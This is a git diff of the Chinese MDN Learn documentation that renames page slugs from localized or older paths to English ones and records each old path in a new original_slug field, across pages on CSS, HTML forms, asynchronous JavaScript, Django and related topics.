    diff --git a/files/zh-cn/learn/css/styling_text/fundamentals/index.html b/files/zh-cn/learn/css/styling_text/fundamentals/index.html index 45660a9532..3bde7ae492 100644 --- a/files/zh-cn/learn/css/styling_text/fundamentals/index.html +++ b/files/zh-cn/learn/css/styling_text/fundamentals/index.html @@ -1,6 +1,6 @@ --- title: 基本文本和字体样式 -slug: Learn/CSS/为文本添加样式/Fundamentals +slug: Learn/CSS/Styling_text/Fundamentals tags: - 初学者 - 对齐 @@ -8,6 +8,7 @@ tags: - 样式 - 间距 translation_of: Learn/CSS/Styling_text/Fundamentals +original_slug: Learn/CSS/为文本添加样式/Fundamentals ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/styling_text/index.html b/files/zh-cn/learn/css/styling_text/index.html index ec4822b9ad..1487b1912a 100644 --- a/files/zh-cn/learn/css/styling_text/index.html +++ b/files/zh-cn/learn/css/styling_text/index.html @@ -1,6 +1,6 @@ --- title: 为文本添加样式(样式化文本) -slug: Learn/CSS/为文本添加样式 +slug: Learn/CSS/Styling_text tags: - CSS - 代码脚步 @@ -16,6 +16,7 @@ tags: - 链接Links - 阴影shadow translation_of: Learn/CSS/Styling_text +original_slug: Learn/CSS/为文本添加样式 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/styling_text/styling_links/index.html b/files/zh-cn/learn/css/styling_text/styling_links/index.html index df2e7c6093..bff27b63e5 100644 --- a/files/zh-cn/learn/css/styling_text/styling_links/index.html +++ b/files/zh-cn/learn/css/styling_text/styling_links/index.html @@ -1,6 +1,6 @@ --- title: 样式化链接 -slug: Learn/CSS/为文本添加样式/Styling_links +slug: Learn/CSS/Styling_text/Styling_links tags: - 伪类 - 悬浮 @@ -10,6 +10,7 @@ tags: - 超链接 - 链接 translation_of: Learn/CSS/Styling_text/Styling_links +original_slug: Learn/CSS/为文本添加样式/Styling_links ---

    {{LearnSidebar}}

    diff --git a/files/zh-cn/learn/css/styling_text/styling_lists/index.html b/files/zh-cn/learn/css/styling_text/styling_lists/index.html index 075b457836..57a4e0f189 100644 --- a/files/zh-cn/learn/css/styling_text/styling_lists/index.html +++ b/files/zh-cn/learn/css/styling_text/styling_lists/index.html @@ -1,7 +1,8 @@ --- title: 样式列表 -slug: Learn/CSS/为文本添加样式/Styling_lists +slug: Learn/CSS/Styling_text/Styling_lists translation_of: Learn/CSS/Styling_text/Styling_lists +original_slug: Learn/CSS/为文本添加样式/Styling_lists ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html b/files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html index 98f86f125f..c68a5f713c 100644 --- a/files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html +++ b/files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html @@ -1,6 +1,6 @@ --- title: 作业:排版社区大学首页 -slug: Learn/CSS/为文本添加样式/Typesetting_a_homepage +slug: Learn/CSS/Styling_text/Typesetting_a_homepage tags: - CSS - 初学者 @@ -9,6 +9,7 @@ tags: - 网络字体 - 链接 translation_of: Learn/CSS/Styling_text/Typesetting_a_homepage +original_slug: Learn/CSS/为文本添加样式/Typesetting_a_homepage ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/styling_text/web_fonts/index.html b/files/zh-cn/learn/css/styling_text/web_fonts/index.html index ad9691cb00..45b3bef610 100644 --- a/files/zh-cn/learn/css/styling_text/web_fonts/index.html +++ b/files/zh-cn/learn/css/styling_text/web_fonts/index.html @@ -1,7 +1,8 @@ --- title: Web 字体 -slug: Learn/CSS/为文本添加样式/Web_字体 +slug: Learn/CSS/Styling_text/Web_fonts translation_of: Learn/CSS/Styling_text/Web_fonts +original_slug: Learn/CSS/为文本添加样式/Web_字体 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/forms/advanced_form_styling/index.html b/files/zh-cn/learn/forms/advanced_form_styling/index.html index 94128b7229..7add8a555f 100644 --- a/files/zh-cn/learn/forms/advanced_form_styling/index.html +++ b/files/zh-cn/learn/forms/advanced_form_styling/index.html @@ -1,7 +1,8 @@ --- title: 高级设计 HTML 表单 -slug: Learn/HTML/Forms/Advanced_styling_for_HTML_forms +slug: Learn/Forms/Advanced_form_styling translation_of: Learn/Forms/Advanced_form_styling +original_slug: Learn/HTML/Forms/Advanced_styling_for_HTML_forms ---
    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms/Property_compatibility_table_for_form_widgets", "Learn/HTML/Forms")}}
    diff --git a/files/zh-cn/learn/forms/basic_native_form_controls/index.html b/files/zh-cn/learn/forms/basic_native_form_controls/index.html index 8ef67a2f7a..0f738f9d23 100644 --- a/files/zh-cn/learn/forms/basic_native_form_controls/index.html +++ b/files/zh-cn/learn/forms/basic_native_form_controls/index.html @@ -1,7 +1,8 @@ --- title: 原生表单部件 -slug: Learn/HTML/Forms/The_native_form_widgets +slug: Learn/Forms/Basic_native_form_controls translation_of: Learn/Forms/Basic_native_form_controls +original_slug: Learn/HTML/Forms/The_native_form_widgets ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/forms/form_validation/index.html b/files/zh-cn/learn/forms/form_validation/index.html index 62758a26e6..0cdfdd07f1 100644 --- a/files/zh-cn/learn/forms/form_validation/index.html +++ b/files/zh-cn/learn/forms/form_validation/index.html @@ -1,9 +1,10 @@ --- title: 表单数据校验 -slug: Learn/HTML/Forms/Data_form_validation +slug: Learn/Forms/Form_validation tags: - HTML translation_of: Learn/Forms/Form_validation +original_slug: Learn/HTML/Forms/Data_form_validation ---

    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms")}}

    diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html index 93cf5069c2..b2bfa229e8 100644 --- a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html @@ -1,10 +1,11 @@ --- title: Example 1 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1 +slug: Learn/Forms/How_to_build_custom_form_controls/Example_1 tags: - HTML - 表单 translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_1 +original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1 ---

    这是第一个如果构建自定义表单小部件的代码解释事例。

    diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html index 3a9546631f..e102e1a313 100644 --- a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html @@ -1,10 +1,11 @@ --- title: Example 2 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2 +slug: Learn/Forms/How_to_build_custom_form_controls/Example_2 tags: - HTML - 表单 translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_2 +original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2 ---

    这是解释 如何构建自定义表单小部件的第二个示例。

    diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html index a4a58880e4..d17136e128 100644 --- a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html @@ -1,10 +1,11 @@ --- title: Example 3 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3 +slug: Learn/Forms/How_to_build_custom_form_controls/Example_3 tags: - HTML - 表单 translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_3 +original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3 ---

    这是解释 如何构建自定义表单小部件 的第三个示例。

    diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html index 472102adb2..0219ad6218 100644 --- a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html @@ -1,12 +1,13 @@ --- title: Example 4 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4 +slug: Learn/Forms/How_to_build_custom_form_controls/Example_4 tags: - HTML - Web - 表单 - 高级 translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_4 +original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4 ---

    这是解释 如何构建自定义表单小部件 的第四个示例。

    diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html index 24636e7858..7ee2617b1d 100644 --- a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html @@ -1,12 +1,13 @@ --- title: 如何构建表单小工具 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets +slug: Learn/Forms/How_to_build_custom_form_controls tags: - HTML - 例子 - 表单 - 高级 translation_of: Learn/Forms/How_to_build_custom_form_controls +original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets ---
    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}
    diff --git a/files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html b/files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html index eda4b201da..341d533fc9 100644 --- a/files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html +++ b/files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html @@ -1,7 +1,8 @@ --- title: 如何构造HTML表单 -slug: Learn/HTML/Forms/How_to_structure_an_HTML_form +slug: Learn/Forms/How_to_structure_a_web_form translation_of: Learn/Forms/How_to_structure_a_web_form +original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html b/files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html index d6045e0d70..914939e028 100644 --- a/files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html +++ b/files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html @@ -1,7 +1,8 @@ --- title: 旧式浏览器中的HTML 表单 -slug: Learn/HTML/Forms/HTML_forms_in_legacy_browsers +slug: Learn/Forms/HTML_forms_in_legacy_browsers translation_of: Learn/Forms/HTML_forms_in_legacy_browsers +original_slug: Learn/HTML/Forms/HTML_forms_in_legacy_browsers ---
    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms")}}
    diff --git a/files/zh-cn/learn/forms/index.html b/files/zh-cn/learn/forms/index.html index ad51eafa35..e4d6f79e6f 100644 --- a/files/zh-cn/learn/forms/index.html +++ b/files/zh-cn/learn/forms/index.html @@ -1,12 +1,13 @@ --- title: HTML表单指南 -slug: Learn/HTML/Forms +slug: Learn/Forms tags: - Forms - HTML - NeedsTranslation - TopicStub translation_of: Learn/Forms +original_slug: Learn/HTML/Forms ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html b/files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html index 31f8075f5b..2a30d40290 100644 --- a/files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html +++ b/files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html @@ -1,7 +1,8 @@ --- title: 表单组件兼容性列表 -slug: Learn/HTML/Forms/Property_compatibility_table_for_form_widgets +slug: Learn/Forms/Property_compatibility_table_for_form_controls translation_of: Learn/Forms/Property_compatibility_table_for_form_controls +original_slug: Learn/HTML/Forms/Property_compatibility_table_for_form_widgets ---
    {{learnsidebar}}{{PreviousMenu("Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}
    diff --git a/files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html b/files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html index ed3a4ef0ef..21d9228dbb 100644 --- a/files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html +++ b/files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html @@ -1,6 +1,6 @@ --- title: 发送表单数据 -slug: Learn/HTML/Forms/Sending_and_retrieving_form_data +slug: Learn/Forms/Sending_and_retrieving_form_data tags: - HTML - HTTP @@ -9,6 +9,7 @@ tags: - 安全 - 表单 translation_of: Learn/Forms/Sending_and_retrieving_form_data +original_slug: Learn/HTML/Forms/Sending_and_retrieving_form_data ---

    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms")}}

    diff --git a/files/zh-cn/learn/forms/sending_forms_through_javascript/index.html b/files/zh-cn/learn/forms/sending_forms_through_javascript/index.html index 8489ff2243..6f3edf8801 100644 --- a/files/zh-cn/learn/forms/sending_forms_through_javascript/index.html +++ b/files/zh-cn/learn/forms/sending_forms_through_javascript/index.html @@ -1,6 +1,6 @@ --- title: 使用 JavaScript 发送表单 -slug: Learn/HTML/Forms/Sending_forms_through_JavaScript +slug: Learn/Forms/Sending_forms_through_JavaScript tags: - HTML - HTML表单 @@ -10,6 +10,7 @@ tags: - 表单 - 高级 translation_of: Learn/Forms/Sending_forms_through_JavaScript +original_slug: Learn/HTML/Forms/Sending_forms_through_JavaScript ---
    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms")}}
    diff --git a/files/zh-cn/learn/forms/styling_web_forms/index.html b/files/zh-cn/learn/forms/styling_web_forms/index.html index 26b94e94e8..b72fd35d77 100644 --- a/files/zh-cn/learn/forms/styling_web_forms/index.html +++ b/files/zh-cn/learn/forms/styling_web_forms/index.html @@ -1,6 +1,6 @@ --- title: 样式化 HTML 表单 -slug: Learn/HTML/Forms/Styling_HTML_forms +slug: Learn/Forms/Styling_web_forms tags: - CSS - Web @@ -9,6 +9,7 @@ tags: - 样式 - 表单 translation_of: Learn/Forms/Styling_web_forms +original_slug: Learn/HTML/Forms/Styling_HTML_forms ---

    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}

    diff --git a/files/zh-cn/learn/forms/your_first_form/index.html b/files/zh-cn/learn/forms/your_first_form/index.html index 5b0adc1480..ed7c3f1087 100644 --- a/files/zh-cn/learn/forms/your_first_form/index.html +++ b/files/zh-cn/learn/forms/your_first_form/index.html @@ -1,7 +1,8 @@ --- title: 创建我的第一个表单 -slug: Learn/HTML/Forms/Your_first_HTML_form +slug: Learn/Forms/Your_first_form translation_of: Learn/Forms/Your_first_form +original_slug: Learn/HTML/Forms/Your_first_HTML_form ---

    {{LearnSidebar}}{{NextMenu("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms")}}

    diff --git a/files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html b/files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html index 5a07e862a0..b128523809 100644 --- a/files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html +++ b/files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html @@ -1,11 +1,12 @@ --- title: 小贴士:如何制作快速加载的HTML页面 -slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages +slug: Learn/HTML/Howto/Author_fast-loading_HTML_pages tags: - HTML - 全部分类 - 教程 translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages +original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages ---

    以下技巧都是基于通用的知识和经验。

    diff --git a/files/zh-cn/learn/html/howto/use_data_attributes/index.html b/files/zh-cn/learn/html/howto/use_data_attributes/index.html index 009517f416..4b17a47c07 100644 --- a/files/zh-cn/learn/html/howto/use_data_attributes/index.html +++ b/files/zh-cn/learn/html/howto/use_data_attributes/index.html @@ -1,10 +1,11 @@ --- title: 使用数据属性 -slug: Web/Guide/HTML/Using_data_attributes +slug: Learn/HTML/Howto/Use_data_attributes tags: - Custom Data Attributes - HTML5 translation_of: Learn/HTML/Howto/Use_data_attributes +original_slug: Web/Guide/HTML/Using_data_attributes ---

    {{LearnSidebar}}

    diff --git a/files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html index 63c421487b..3d32019595 100644 --- a/files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html +++ b/files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html @@ -1,6 +1,6 @@ --- title: 文档与网站架构 -slug: learn/HTML/Introduction_to_HTML/文件和网站结构 +slug: Learn/HTML/Introduction_to_HTML/Document_and_website_structure tags: - HTML - 块 @@ -11,6 +11,7 @@ tags: - 脚本编写 - 页面 translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure +original_slug: learn/HTML/Introduction_to_HTML/文件和网站结构 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html index c66ca6499e..a7dc99e0fc 100644 --- a/files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html +++ b/files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html @@ -1,7 +1,8 @@ --- title: 从对象到iframe - 其他嵌入技术 -slug: Learn/HTML/Multimedia_and_embedding/其他嵌入技术 +slug: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies +original_slug: Learn/HTML/Multimedia_and_embedding/其他嵌入技术 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/async_await/index.html b/files/zh-cn/learn/javascript/asynchronous/async_await/index.html index 739ab63602..60e22c6bd7 100644 --- a/files/zh-cn/learn/javascript/asynchronous/async_await/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/async_await/index.html @@ -1,7 +1,8 @@ --- -title: 'async和await:让异步编程更简单' -slug: learn/JavaScript/异步/Async_await +title: async和await:让异步编程更简单 +slug: Learn/JavaScript/Asynchronous/Async_await translation_of: Learn/JavaScript/Asynchronous/Async_await +original_slug: learn/JavaScript/异步/Async_await ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html b/files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html index 276d815b85..4241740479 100644 --- a/files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html @@ -1,7 +1,8 @@ --- title: 选择正确的方法 -slug: learn/JavaScript/异步/Choosing_the_right_approach +slug: Learn/JavaScript/Asynchronous/Choosing_the_right_approach translation_of: Learn/JavaScript/Asynchronous/Choosing_the_right_approach +original_slug: learn/JavaScript/异步/Choosing_the_right_approach ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/concepts/index.html b/files/zh-cn/learn/javascript/asynchronous/concepts/index.html index 6e59cda54b..757eee777c 100644 --- a/files/zh-cn/learn/javascript/asynchronous/concepts/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/concepts/index.html @@ -1,6 +1,6 @@ --- title: 通用异步编程概念 -slug: learn/JavaScript/异步/概念 +slug: Learn/JavaScript/Asynchronous/Concepts tags: - JavaScript - Promises @@ -9,6 +9,7 @@ tags: - 异步 - 阻塞 translation_of: Learn/JavaScript/Asynchronous/Concepts +original_slug: learn/JavaScript/异步/概念 ---
    {{LearnSidebar}}{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/index.html b/files/zh-cn/learn/javascript/asynchronous/index.html index 3d89f5a060..aa5c99dc8d 100644 --- a/files/zh-cn/learn/javascript/asynchronous/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/index.html @@ -1,6 +1,6 @@ --- title: 异步JavaScript -slug: learn/JavaScript/异步 +slug: Learn/JavaScript/Asynchronous tags: - JavaScript - Promises @@ -14,6 +14,7 @@ tags: - 设置定时器 - 设置间隔 translation_of: Learn/JavaScript/Asynchronous +original_slug: learn/JavaScript/异步 ---
    diff --git a/files/zh-cn/learn/javascript/asynchronous/introducing/index.html b/files/zh-cn/learn/javascript/asynchronous/introducing/index.html index 1792c0e086..a2e492120d 100644 --- a/files/zh-cn/learn/javascript/asynchronous/introducing/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/introducing/index.html @@ -1,7 +1,8 @@ --- title: 异步JavaScript简介 -slug: learn/JavaScript/异步/简介 +slug: Learn/JavaScript/Asynchronous/Introducing translation_of: Learn/JavaScript/Asynchronous/Introducing +original_slug: learn/JavaScript/异步/简介 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/promises/index.html b/files/zh-cn/learn/javascript/asynchronous/promises/index.html index 665bda8129..cbdeefb513 100644 --- a/files/zh-cn/learn/javascript/asynchronous/promises/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/promises/index.html @@ -1,7 +1,8 @@ --- title: 优雅的异步处理 -slug: learn/JavaScript/异步/Promises语法 +slug: Learn/JavaScript/Asynchronous/Promises translation_of: Learn/JavaScript/Asynchronous/Promises +original_slug: learn/JavaScript/异步/Promises语法 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html b/files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html index 2cf83da82c..1f33b4efc2 100644 --- a/files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html @@ -1,7 +1,8 @@ --- title: '合作异步JavaScript: 超时和间隔' -slug: learn/JavaScript/异步/超时和间隔 +slug: Learn/JavaScript/Asynchronous/Timeouts_and_intervals translation_of: Learn/JavaScript/Asynchronous/Timeouts_and_intervals +original_slug: learn/JavaScript/异步/超时和间隔 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html b/files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html index 22101b20ba..f4b6d8adde 100644 --- a/files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html +++ b/files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html @@ -1,6 +1,6 @@ --- title: 照片库 -slug: learn/JavaScript/Building_blocks/相片走廊 +slug: Learn/JavaScript/Building_blocks/Image_gallery tags: - 事件 - 事件句柄 @@ -9,6 +9,7 @@ tags: - 循环 - 评估 translation_of: Learn/JavaScript/Building_blocks/Image_gallery +original_slug: learn/JavaScript/Building_blocks/相片走廊 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html b/files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html index 2730489d15..edf1d50c90 100644 --- a/files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html +++ b/files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html @@ -1,6 +1,6 @@ --- title: 为“弹球”示例添加新功能 -slug: Learn/JavaScript/Objects/向“弹跳球”演示程序添加新功能 +slug: Learn/JavaScript/Objects/Adding_bouncing_balls_features tags: - JavaScript - 初学者 @@ -8,6 +8,7 @@ tags: - 测验 - 面向对象 translation_of: Learn/JavaScript/Objects/Adding_bouncing_balls_features +original_slug: Learn/JavaScript/Objects/向“弹跳球”演示程序添加新功能 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html b/files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html index 8fd0cc3256..0b14bde706 100644 --- a/files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html +++ b/files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html @@ -1,6 +1,6 @@ --- title: 测试你的技能:面向对象的Javascript -slug: 'Learn/JavaScript/Objects/测试你的技能:面向对象的Javascript' +slug: Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript tags: - JavaScript - OOJS @@ -8,7 +8,8 @@ tags: - 学习 - 对象 - 测试你的技能 -translation_of: 'Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript' +translation_of: Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript +original_slug: Learn/JavaScript/Objects/测试你的技能:面向对象的Javascript ---
    {{learnsidebar}}
    diff --git a/files/zh-cn/learn/performance/perceived_performance/index.html b/files/zh-cn/learn/performance/perceived_performance/index.html index 3740a4c62c..0c94a07b55 100644 --- a/files/zh-cn/learn/performance/perceived_performance/index.html +++ b/files/zh-cn/learn/performance/perceived_performance/index.html @@ -1,10 +1,11 @@ --- title: 感知性能 -slug: learn/Performance/感知性能 +slug: Learn/Performance/perceived_performance tags: - Web 性能 - 感知性能 translation_of: Learn/Performance/perceived_performance +original_slug: learn/Performance/感知性能 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html b/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html index 577aacfb08..0c147ac449 100644 --- a/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html +++ b/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html @@ -1,9 +1,10 @@ --- title: Properly Configuring Server MIME Types -slug: Web/Security/Securing_your_site/Configuring_server_MIME_types +slug: Learn/Server-side/Configuring_server_MIME_types tags: - HTTP translation_of: Learn/Server-side/Configuring_server_MIME_types +original_slug: Web/Security/Securing_your_site/Configuring_server_MIME_types ---

    Background

    diff --git a/files/zh-cn/learn/server-side/django/admin_site/index.html b/files/zh-cn/learn/server-side/django/admin_site/index.html index d3252d84c5..c8330e346c 100644 --- a/files/zh-cn/learn/server-side/django/admin_site/index.html +++ b/files/zh-cn/learn/server-side/django/admin_site/index.html @@ -1,7 +1,8 @@ --- title: 'Django Tutorial Part 4: Django 管理员站点' -slug: learn/Server-side/Django/管理站点 +slug: Learn/Server-side/Django/Admin_site translation_of: Learn/Server-side/Django/Admin_site +original_slug: learn/Server-side/Django/管理站点 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/server-side/django/development_environment/index.html b/files/zh-cn/learn/server-side/django/development_environment/index.html index fb6041621f..ce2eaa6032 100644 --- a/files/zh-cn/learn/server-side/django/development_environment/index.html +++ b/files/zh-cn/learn/server-side/django/development_environment/index.html @@ -1,10 +1,11 @@ --- title: 设置Django开发环境 -slug: learn/Server-side/Django/开发环境 +slug: Learn/Server-side/Django/development_environment tags: - Python - django translation_of: Learn/Server-side/Django/development_environment +original_slug: learn/Server-side/Django/开发环境 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/server-side/django/home_page/index.html b/files/zh-cn/learn/server-side/django/home_page/index.html index 0527ba8731..96daafc313 100644 --- a/files/zh-cn/learn/server-side/django/home_page/index.html +++ b/files/zh-cn/learn/server-side/django/home_page/index.html @@ -1,7 +1,8 @@ --- title: 'Django Tutorial Part 5: 主页构建' -slug: learn/Server-side/Django/主页构建 +slug: Learn/Server-side/Django/Home_page translation_of: Learn/Server-side/Django/Home_page +original_slug: learn/Server-side/Django/主页构建 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html index 3975354417..445a22b64f 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html @@ -1,6 +1,6 @@ --- title: 客户端框架介绍 -slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/介绍 +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction tags: - JavaScript - 初学者 @@ -8,6 +8,7 @@ tags: - 客户端 - 框架 translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction +original_slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/介绍 ---
    {{LearnSidebar}}
